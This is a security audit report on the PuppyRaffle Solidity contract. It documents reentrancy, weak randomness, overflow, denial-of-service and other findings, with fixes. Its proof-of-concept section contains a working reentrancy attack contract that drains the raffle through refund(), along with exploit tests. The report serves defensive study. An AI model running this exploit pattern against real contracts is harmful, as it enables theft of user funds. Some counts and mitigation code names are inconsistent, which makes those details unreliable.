PuppyRaffle Audit Report

Version 1.0

Dec3mber

September 2, 2024

Protocol Audit Report

Dec3mber

September 2, 2024

Prepared by: Dec3mber Lead Auditors: - Dec3mber

Table of Contents

    * [H-5] Incorrect Handling of Refunds in `PuppyRaffle::selectWinner` Function Leading to Potential Reverts and Incorrect Prize Calculation
    * [H-6] Empty players array can input in `PuppyRaffle::enterRaffle` function, Leading to Out of Gas Errors
  - Medium
    * [M-1] Use unbounded for-loop to check duplicate in `PuppyRaffle::enterRaffle` can be attacked due to denial of service(DoS), increment gas fee of future entrants
    * [M-2] Smart contrcat wallets raffle winner without a `fallback`/`receive` function, will cause the transfer pirze fail, and block the raffle continue
  - Low
    * [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for a non-exsitent players and for the player at index 0, causing index 0 player incorrect thinks he has not entered the raffle
  - Gas
    * [G-1] Unchanged variables should be declared to constant or immutable
    * [G-2] Storage variables in loop should be cached in `PuppyRaffle::enterRaffle`
    * [G-3] Inefficient Use of `PuppyRaffle::_baseURI` Function Instead of a Constant Variable
  - Informational/Non-Crits
    * [I-1] Solidity pragma should be specific, not wide
    * [I-2] Using a outdated version of solidity is not recommended
    * [I-3] Missing checks for `address(0)` when assigning values to address state variables
    * [I-4] `PuppyRaffle::selectWinner` should follow CEI pattern
    * [I-5] Using magic numbers in `PuppyRaffle::selectWinner`, which is confusing.
    * [I-6] State changes without emitting a event
    * [I-7] **`public`** functions not used internally could be marked `external`
    * [I-8] `PuppyRaffle::_isActivePlayer` function is a internal function but won't be called in the contract

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
   1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.

2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Dec3mber team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 22bbbb2c47f3f2b78c1b134590baf41383fd354f

Scope

```
./src/
-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.

Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

We spend 2 days using manual review, and successfully identified three vulnerabilities that pose potential risks to the security and functionality of the system.

Each of these vulnerabilities has been categorized based on its severity and potential impact on the overall security of the smart contract. Our detailed analysis and recommended mitigation strategies are provided in the following sections of this report. Addressing these issues promptly will be crucial to ensuring the safety and reliability of the smart contract.

Issues found

Severity	Numbers of issues found
High	6
Medium	2
Low	1
Informational	8
gas	3
total	20

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund`, can steal all the money in the `PuppyRaffle` contract

Description: The `PuppyRaffle::refund` function is vulnerable to a reentrancy attack. The function transfers Ether to the caller before updating the state of the players array `players[]`. This allows an attacker to repeatedly call the refund function within the same transaction (by exploiting the reentrancy vulnerability), potentially draining all the funds in the contract.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");

@>      payable(msg.sender).sendValue(entranceFee);
@>      players[playerIndex] = address(0);

        emit RaffleRefunded(playerAddress);
    }
```

Impact: An attacker can exploit this vulnerability to steal all the funds in the `PuppyRaffle` contract. By repeatedly calling the `refund` function before the state is updated, the attacker can continue to receive refunds even after their player entry should have been marked as refunded. This could lead to a complete loss of all the Ether held by the contract.

Proof of Concept:

1. User enter the `PuppyRaffle`;
2. Attacker set up a contract with the `fallback` function that calls `PuppyRaffle::refund`;
3. Attacker enter the `PuppyRaffle`;
4. Attacker call the `PuppyRaffle::refund` function through their attack contract, drain the contract balance.

PoC

Place the following code into `PuppyRaffleTest.t.sol`

```
function testReentrancyRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttack reentrancyAttack = new ReentrancyAttack(
            address(puppyRaffle));
        address attacker = makeAddr("attacker");
        vm.deal(attacker, entranceFee);

        uint256 startingRaffleBalance = address(puppyRaffle).balance;
        uint256 startingAttackContractBalance = address(
            reentrancyAttack).balance;

        vm.prank(attacker);
        reentrancyAttack.attack{value: entranceFee}();

        uint256 endingRaffleBalance = address(puppyRaffle).balance;
        uint256 endingAttackContractBalance = address(reentrancyAttack)
            .balance;

        console.log("Starting raffle contract balance is: ",
            startingRaffleBalance);
        console.log("Ending raffle contract balance is: ",
            endingRaffleBalance);

        console.log("Starting attack contract balance is: ",
            startingAttackContractBalance);
        console.log("Ending attack contract balance is: ",
            endingAttackContractBalance);
}
```

And this contract as well

```
contract ReentrancyAttack {
    PuppyRaffle puppyRaffle;
    uint256 entrantFee;
    uint256 attackerIndex;

    constructor(address _puppyRaffle) {
        puppyRaffle = PuppyRaffle(_puppyRaffle);
        entrantFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory attacker = new address[](1);
        attacker[0] = address(this);
        puppyRaffle.enterRaffle{value: puppyRaffle.entranceFee()}(
            attacker);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
            ;
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if (address(puppyRaffle).balance >= entrantFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        _stealMoney();
    }

    receive() external payable {
        _stealMoney();
    }
}
```

Recommended Mitigation: To prevent this, we should have the PuppyRaffle::refund function update the players array before making the external call. Additionally, we should move the event emission up as well.

```diff
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");

+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);
        payable(msg.sender).sendValue(entranceFee);
-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak Randomness in `PuppyRaffle::selectWinner` allows users to influence or predict winner and the rarity of puppy

Description: The current implementation of both the winner selection and rarity determination in `PuppyRaffle::selectWinner` uses block.timestamp, block.difficulty, and msg.sender as inputs to the keccak256 hash function to generate pseudo-random numbers. Specifically, these values are used to:

- Select a winner from the players array.
- Determine the rarity of the puppy.

However, these inputs are predictable or can be manipulated, making the randomness weak and susceptible to exploitation:

- block.timestamp: Can be influenced by miners within a reasonable range.
- block.difficulty: While it adds some variability, it's not entirely unpredictable, especially in the short term.
- msg.sender: The address of the user who initiates the transaction is fully under their control, allowing them to manipulate the random outcome by repeatedly calling the function.

As a result, a malicious user could potentially predict the outcome of the randomness or manipulate the conditions to increase their chances of winning the raffle and obtaining a rarer puppy.

Impact: The predictability and manipulability of the randomness could result in an unfair selection process, where a malicious actor has a higher chance of winning and obtaining a rarer puppy. This compromises the integrity of the raffle and could lead to loss of trust in the system, financial losses, or reputational damage.

Proof of Concept:

1. Validators can know ahead of time the block.timestamp and block.difficulty and use that to predict when/how to participate. See the solidity blog on prevrandao. block.difficulty was recently replaced with prevrandao.
2. User can mine/manipulate their msg.sender value to result in their address being used to generate the winner!
3. Users can revert their selectWinner transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain.

Recommended Mitigation: Consider using a cryptographically provable random number generator such like chainklink VRF.

[H-3] Unsafe Type Casting and unsafe math in `PuppyRaffle::selectWinner` can lead to inte ger overflow

Description: The `fee` variable, originally declared as a uint256, is cast to uint64 using `uint64(fee)`. This type casting can lead to an overflow if fee is greater than or equal to 2^64. Specifically, if the value of fee exceeds the maximum value that a uint64 can hold (which is 2^64 - 1), the cast will result in the value being wrapped around to a smaller, incorrect value, potentially causing unexpected behavior.

Additionally, the statement `totalFees = totalFees + uint64(fee)`; can lead to an overflow of the totalFees variable. If the sum of `totalFees` and `uint64(fee)` exceeds the maximum value that a uint64 can represent, it will cause the totalFees to overflow, leading to incorrect total fee calculations.

Impact: The potential overflow will cause the `totalFees` to reflect an incorrect and much smaller value and error in the protocol. `totalFees` are accumulated for the feeAddress to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the feeAddress may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. four players entered raffle, and the `totalFees` are 800000000000000000
2. then 89 players enter, the `totalFees` are 153255926290448384
3. you will not be able to withdraw, due to `PuppyRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Place the following code into `PuppyRaffleTese.t.sol`

PoC

```
    function testOverflowInSelectWinner() public playersEntered {
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + duration + 1);
        puppyRaffle.selectWinner();
        uint64 startingTotalFees = puppyRaffle.totalFees();
        console.log("Start total fees:", startingTotalFees);

        address[] memory players = new address[](89);
        for (uint256 i = 0; i < players.length; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * 89}(players);
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + duration + 1);
        puppyRaffle.selectWinner();
        uint64 endingTotalFees = puppyRaffle.totalFees();
        console.log("End total fees:  ", endingTotalFees);
        assert(startingTotalFees > endingTotalFees);
    }
```

Recommended Mitigation: There are some possible mitigations.

1. Use the latest version of solidity, and use `uint256` instead of `uint64` for `PuppyRaffle::fee`
2. Use the `safeMath` library of openzeppelin, but it's also hard for dealing with `uint64` type.
3. Remove the check in `PuppyRaffle::withdrawFees`:

```
    function withdrawFees() external {
-        require(address(this).balance == uint256(totalFees), "
    PuppyRaffle: There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

[H-4] Potential Selection of Refunded Player (Address Zero) as Winner will lose fund

Description: In the `PuppyRaffle::refund` function, when a player requests a refund, their address in the players array is replaced with `address(0)`. This is intended to mark the player as inactive. However, in the `PuppyRaffle::selectWinner` function, there is no check to ensure that the selected winner is not an address that has been refunded (i.e., address(0)).

Impact: If the `PuppyRaffle::selectWinner` function selects `address(0)` as the winner, it will cause several critical issues:

1. Invalid Winner: The raffle will select an invalid winner (address(0)), leading to failed attempts to mint the NFT and revert .
2. Lose Funds: The prize pool funds will lost due to transfer prize to`address(0)`.

Proof of Concept: Consider the blow Scenario

1. 10 players enter the raffle
2. The 5th player `PuppyRaffle::players[4]` want to exit the raffle, and called the `PuppyRaffle::refund`
3. `PuppyRaffle::players[4]` is replaced with `address(0)`
4. In the select winner state, `PuppyRaffle::selectWinner` turns out to 5th player is the winner
5. Raffle transfer the prize and mint nft to `address(0)`, lost funds.

Recommended Mitigation:

1. Track Active Players Separately: Maintain a separate list of active players, ensuring that refunded players are removed entirely, so the selectWinner function only considers eligible participants.
2. Add a check if the winner is address(0), and select the winner again.

[H-5] Incorrect Handling of Refunds in `PuppyRaffle::selectWinner` Function Leading to Potential Reverts and Incorrect Prize Calculation

Description: The `PuppyRaffle::selectWinner` function does not properly account for players who have requested a refund. When a player requests a refund, their address in the players array is replaced with `address(0)`, effectively marking them as inactive. However, the `PuppyRaffle::selectWinner` function still relies on `players.length` to validate the number of participants and to calculate the total prize pool. This approach is flawed for several reasons:

1. Incorrect Player Count Validation: The require `players.length >= 4, "PuppyRaffle: Need at least 4 players";` statement checks the length of the players array rather than the number of active players. If one or more players have been refunded, this condition may be incorrectly satisfied, leading to unexpected behavior.
2. Inaccurate Prize Pool Calculation: The calculation of `totalAmountCollected` as `players.length * entranceFee` does not account for refunded players. This results in an overestimation of the prize pool and the fees, which could cause discrepancies in the contract's financial logic.

```
        require(players.length >= 4, "PuppyRaffle: Need at least 4
           players");

        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
        totalFees = totalFees + uint64(fee);
```

Impact: 1. Unnecessary Reverts: If the actual number of active players is less than 4 due to refunds, the `PuppyRaffle::selectWinner` function will revert when it attempts to distribute the prize, as the require `players.length >= 4` check will fail. This can lead to users wasting gas on repeated attempts to execute the function, each time resulting in a revert. 2. Incorrect Fund Distribution: The overestimation of `totalAmountCollected` due to counting refunded players will lead to incorrect calculation of the prizePool and fee. This can cause further issues, such as incorrect amounts being sent to the winner or the fee address, and potential reverts in functions like `PuppyRaffle::withdrawFees` due to mismatches in expected versus actual contract balances.

Proof of Concept: Place the following code into `PuppyRaffleTest.t.sol`

PoC

```
    function testSelectWinnerFunctionRevertafterExit() public
        playersEntered {
        vm.warp(block.timestamp + duration);
        vm.roll(block.number + 1);

        vm.prank(playerFour);
        puppyRaffle.refund(3);
        vm.deal(address(puppyRaffle), 10 ether);

        vm.expectRevert();
        puppyRaffle.selectWinner();
    }
```

Recommended Mitigation: There are several mitigations.

1. Replace the deleted player with the last player and pop up the last element

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player
        can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already
        refunded, or is not active");

    payable(msg.sender).sendValue(entranceFee);

-   players[playerIndex] = address(0);
+   if (playerIndex < players.length - 1) {
+       players[playerIndex] = players[players.length - 1];
+   }
+   players.pop();

    emit RaffleRefunded(playerAddress);
}
```

2. Track active players separately: Maintain a separate count of active players who have not requested refunds. Use this count to validate the minimum player requirement and to calculate the prize pool.

[H-6] Empty players array can input in `PuppyRaffle::enterRaffle` function, Leading to Out of Gas Errors

Description: The `PuppyRaffle::enterRaffle` function does not properly handle cases where an empty array is passed as the `newPlayers` argument. Specifically, when an empty array is provided, the function attempts to process it in loops that are not designed to handle such a case. This results in excessive gas consumption and can trigger an `OutOfGas` error. The root cause is the lack of a check for an empty array before entering the loop, leading to inefficient execution and potential infinite loop scenarios.

Impact:

1. OutOfGas Errors: The function can consume an excessive amount of gas, leading to `OutOfGas` errors when an empty array is passed. This not only wastes gas but also causes the transaction to revert, preventing any further execution.
2. Denial of Service (DoS) Potential: Repeated attempts to call the `PuppyRaffle::enterRaffle` function with an empty array could be used as a form of denial of service (DoS) attack, as the contract could become unusable due to continuous `OutOfGas` errors.

Proof of Concept:

Place the following code into `PuppyRaffleTest.t.sol`

PoC

```
    function testEmptyPlayersArrayCanEnterRaffle() public {
        address[] memory players = new address[](0);
        puppyRaffle.enterRaffle{value: 0}(players);
    }
```

And it truns out:

```
[FAIL. Reason: EvmError: Revert] testEmptyPlayersArrayCanEnterRaffle()
    (gas: 1056943995)
Traces:
  [3294514] PuppyRaffleTest::setUp()
    - [3229550] - new
        PuppyRaffle@0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
    -   - emit OwnershipTransferred(previousOwner: 0
        x0000000000000000000000000000000000000000, newOwner:
        PuppyRaffleTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    -   - - [Return] 12662 bytes of code
    -- - [Stop]

  [1056943995] PuppyRaffleTest::testEmptyPlayersArrayCanEnterRaffle()
    - [1056938633] PuppyRaffle::enterRaffle([])
    -   - - [OutOfGas] EvmError: OutOfGas
    - - [Revert] EvmError: Revert
```

When running the above test, the `PuppyRaffle::enterRaffle` function will consume excessive gas and eventually trigger an `OutOfGas` error due to the empty array passed to it. This indicates that the function does not correctly handle the case where no players are provided.

Recommended Mitigation: There are some mitigations.

1. Add a Check for Non-Empty Arrays: Ensure that the `PuppyRaffle::enterRaffle` function includes a require statement at the beginning to verify that the `newPlayers` array is not empty. This will prevent the function from processing an empty array, avoiding unnecessary gas consumption and potential infinite loops.

```
    function enterRaffle(address[] memory newPlayers) public payable {
+       require(newPlayers.length > 0, "PuppyRaffle: No players
   provided");
        require(msg.value == entranceFee * newPlayers.length, "
           PuppyRaffle: Must send enough to enter raffle");

        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
        }

        // Check for duplicates
        for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                   Duplicate player");
            }
        }

        emit RaffleEnter(newPlayers);
    }
```

2. Optimize Loops and Conditions: Review the loop structures and conditions within the `PuppyRaffle::enterRaffle` function to ensure they efficiently handle edge cases, such as an empty array, without unnecessary gas consumption.

Medium

[M-1] Use unbounded for-loop to check duplicate in `PuppyRaffle::enterRaffle` can be attacked due to denial of service(DoS), increment gas fee of future entrants

Description: The `PuppyRaffle::enterRaffle` uses an unbounded for-loop to check for duplicate entries among the players participating in the raffle. The loop iterates through the list of players to ensure that no duplicates are present, which can lead to significant computational overhead, especially as the number of players increases. Since the gas cost of each transaction in Ethereum depends on the computational resources required, this unbounded loop can lead to an increase in gas fees for future participants.

```
//@audit DoS attack
@>      for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                   Duplicate player");
            }
        }
```

Impact: The use of an unbounded for-loop for duplicate checking in the `PuppyRaffle::enterRaffle` exposes the contract to a potential Denial of Service (DoS) attack. As the number of players increases, the gas cost associated with each new entry will also rise, potentially reaching a point where the transaction reverts due to out-of-gas errors. This vulnerability could be exploited by attackers to disrupt the raffle, increase participation costs for legitimate users, and potentially block new participants from entering the raffle altogether.

Proof of Concept:

If we have two set of player enter the raffle, the gas costs will be as such: - First 100 players' gas fee is: 6252039 - Second 100 players' gas fee is: 18068122

This is 3x more expensive for the second set players.

PoC

Place the following test into `PuppyRaffleTest.t.sol`:

```
    function testDoSExsitInEnterRaffle() public {
        vm.txGasPrice(1);
        uint256 playerNum = 100;
        address[] memory playersFirst = new address[](playerNum);
        for (uint160 i = 0; i < playerNum; i++) {
            playersFirst[i] = address(i);
        }
        uint256 startingGasFirst = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playerNum}(
           playersFirst);
        uint256 endingGasFirst = gasleft();
        uint256 gasFeeFirst = (startingGasFirst - endingGasFirst) * tx.
           gasprice;

        address[] memory playersSecond = new address[](playerNum);
        for (uint160 i = 0; i < playerNum; i++) {
            playersSecond[i] = address(i + playerNum);
        }
        uint256 startingGasSecond = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playerNum}(
           playersSecond);
        uint256 endingGasSecond = gasleft();
        uint256 gasFeeSecond = (startingGasSecond - endingGasSecond) *
           tx.gasprice;

        console.log("First 100 players' gas fee is: ", gasFeeFirst);
        console.log("Second 100 players' gas fee is: ", gasFeeSecond);
        assert(gasFeeFirst < gasFeeSecond);
    }
```

Recommended Mitigation: There are a few recommended mitigations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check duplicates. This would allow you to check for duplicates in constant time, rather than linear time. You could have each raffle have a `uint256` id, and the mapping would be a player address mapped to the raffle Id.

```
+     mapping(address => uint256) public addressToRaffleId;
+     uint256 public raffleId = 0;
     .
     .
     .
     function enterRaffle(address[] memory newPlayers) public payable {
         require(msg.value == entranceFee * newPlayers.length, "
             PuppyRaffle: Must send enough to enter raffle");

         for (uint256 i = 0; i < newPlayers.length; i++) {
+            // Check for duplicates
+            require(usersToRaffleId[newPlayers[i]] != raffleID, "
    PuppyRaffle: Already a participant");

             players.push(newPlayers[i]);
+            usersToRaffleId[newPlayers[i]] = raffleID;
         }

-        // Check for duplicates
-        for (uint256 i = 0; i < players.length - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
-                require(players[i] != players[j], "PuppyRaffle:
    Duplicate player");
-            }
-        }

         emit RaffleEnter(newPlayers);
     }
.
.
.
     function selectWinner() external {
+        raffleId = raffleId + 1;
         require(block.timestamp >= raffleStartTime + raffleDuration, "
             PuppyRaffle: Raffle not over");
```

Alternatively, you could use OpenZeppelin's `EnumerableSet` library.

[M-2] Smart contrcat wallets raffle winner without a `fallback/receive` function, will cause the transfer pirze fail, and block the raffle continue

Description: The pirze is transferred to the winner using a low-level .call method in `PuppyRaffle::selectWinner`. If the winner is a smart contract that does not implement a `fallback` or `receive` function, the transfer will fail. This is because the `.call` method requires the recipient contract to have a function capable of receiving Ether. If the recipient contract lacks such a function or if its fallback function is incorrectly implemented, the transaction will revert, the raffle can't reset and the prize will not be successfully transferred.

Impact: This would result in the winner not receiving their prize, potentially leading to disputes, loss of trust in the raffle system, and a negative impact on user experience. Additionally, the funds may remain locked in the contract, and block the raflle continue.

Proof of Concept:

1. 10 smart contract wallets entered the raffle
2. raffle select the winner, but the winner wallet does not have a `fallback`/`receive` function
3. the `PuppyRaffle::selectWinner` function does not work, and the raffle does not work neither

Recommended Mitigation:

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> prize so winners can pull their funds out themselves with a new `claimPrize` function , putting the onus on the winner to claim their prize. (Recommended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for a non-exsitent players and for the player at index 0, causing index 0 player incorrect thinks he has not entered the raffle

Description: The getActivePlayerIndex function returns 0 both when the player is at index 0 in the players array and when the player does not exist in the array. This can cause confusion, as a player who is actually at index 0 will receive a result of 0, making them mistakenly believe they are not entered in the raffle.

```
    function getActivePlayerIndex(address player) external view returns
        (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact: This issue can lead to confusion and potentially flawed logic in other parts of the contract or in external systems interacting with the contract. A player who is correctly entered at index 0 may incorrectly assume they are not participating in the raffle. This can undermine the trust in the contract's functionality and lead to incorrect actions or decisions based on the false assumption that the player is not part of the raffle.

Proof of Concept: 1. A user enter the raffle, and is the first player 2. The player calls `PuppyRaffle::getActivePlayerIndex`. 3. The player may incorrectly conclude they are not part of the raffle.

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an int256 where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged variables should be declared to constant or immutable

Reading from storage is more expensive than from a constant or immutable variable.

instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in loop should be cached in `PuppyRaffle::enterRaffle`

Every time you call `players.length`, you read from storage, as opposed to memory which is more gas efficient.

```
+         uint256 playerLength = players.length;
-          for (uint256 i = 0; i < players.length - 1; i++) {
+          for (uint256 i = 0; i < playerLength - 1; i++) {
-              for (uint256 j = i + 1; j < players.length; j++) {
+              for (uint256 j = i + 1; j < playerLength; j++) {
                  require(players[i] != players[j], "PuppyRaffle:
                      Duplicate player");
              }
          }
```

[G-3] Inefficient Use of `PuppyRaffle::_baseURI` Function Instead of a Constant Variable

Description: The `PuppyRaffle::_baseURI` function returns a static string value every time it is called. This function is currently implemented as a pure function, which returns the string "data:application/json;base64,". While this approach works, it is less gas-efficient compared to using a constant variable to store the base URI.

Recommended Mitigation: Instead of using:

```
        function _baseURI() internal pure returns (string memory) {
            return "data:application/json;base64,";
        }
```

Use:

```
        string private constant BASE_URI = "data:application/json;
            base64,";
```

Informational/Non-Crits

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

  ```
  pragma solidity ^0.7.6;
  ```

[I-2] Using a outdated version of solidity is not recommended

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with a recent version of Solidity (at least `0.8.0`) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 62

```
        feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 176

```
        feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` should follow CEI pattern

The current implementation of `PuppyRaffle::selectWinner` does not follow the Checks-Effects-Interactions (CEI) pattern, which is a recommended best practice in Solidity to prevent reentrancy attacks.

```
-       (bool success,) = winner.call{value: prizePool}("");
-       require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
        _safeMint(winner, tokenId);
+       (bool success,) = winner.call{value: prizePool}("");
+       require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
```

[I-5] Using magic numbers in `PuppyRaffle::selectWinner`, which is confusing.

It’s more readable if give a name, such as:

```
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
```

instead, you can use:

```
        uint256 constant public POOL_PRECISION = 100;
        uint256 constant public PRIZE_PERCENTAGE = 80;
        uint256 constant public FEE_PERCENTAGE = 20;
```

[I-6] State changes without emitting a event

In the `PuppyRaffle` contract, certain state-changing operations are performed without emitting corresponding events.

Add a `WinnerSelected(index winner, tokenId)` event, and emit the event after `_safeMint` in `PuppyRaffle::selectWinner`.

Add a `FeesWithdrawed(index feeAddress, feesToWithdraw)` event, and emit the event at the end of `PuppyRaffle::withdrawFees` function.

[I-7] `public` functions not used internally could be marked `external`

Instead of marking a function as `public`, consider marking it as `external` if it is not used internally.

3 Found Instances

- Found in src/PuppyRaffle.sol Line: 81

```
    function enterRaffle(address[] memory newPlayers) public
        payable {
```

- Found in src/PuppyRaffle.sol Line: 101

```
    function refund(uint256 playerIndex) public {
```

- Found in src/PuppyRaffle.sol Line: 201

```
    function tokenURI(uint256 tokenId) public view virtual
        override returns (string memory) {
```

[I-8] `PuppyRaffle::_isActivePlayer` function is a internal function but won't be called in the contract

`PuppyRaffle::_isActivePlayer` should be removed or change visible to external.